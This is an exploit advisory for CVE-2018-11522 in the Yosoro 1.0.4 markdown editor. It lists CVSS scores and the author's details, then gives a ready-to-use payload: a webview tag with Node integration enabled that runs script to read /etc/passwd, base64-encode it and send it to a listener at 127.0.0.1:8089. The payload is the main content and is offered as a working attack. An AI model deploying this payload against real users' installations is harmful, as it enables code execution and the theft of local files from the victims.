Yosoro 1.0.4 Remote Code Execution

2018.05.30
Risk: High
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit title: Yosoro 1.0.4 - Remote Code Execution # Date: 2018-05-29 # Exploit Author: Carlo Pelliccioni # Vendor homepage: https://yosoro.coolecho.net/ # Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip # Version: 1.0.4 # Tested on: MacOS 10.13.4 # CVE: CVE-2018-11522 # _ _ _ _ _ ___ _ _ # | || | __ _ __ | |__| |_ (_)__ __ ___ / __| ___ __ _ _ _ _ (_)| |_ _ _ # | __ |/ _` |/ _|| / /| _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| || _|| || | # |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_| |_| \__| \_, | # Remote Code Execution (CVE-2018-11522) # Payload: <webview src="data:text/html,<script>var read = require('fs').readFileSync('/etc/passwd', 'utf-8'); document.location='http://127.0.0.1:8089/'+btoa(read); </script>" nodeintegration></webview>


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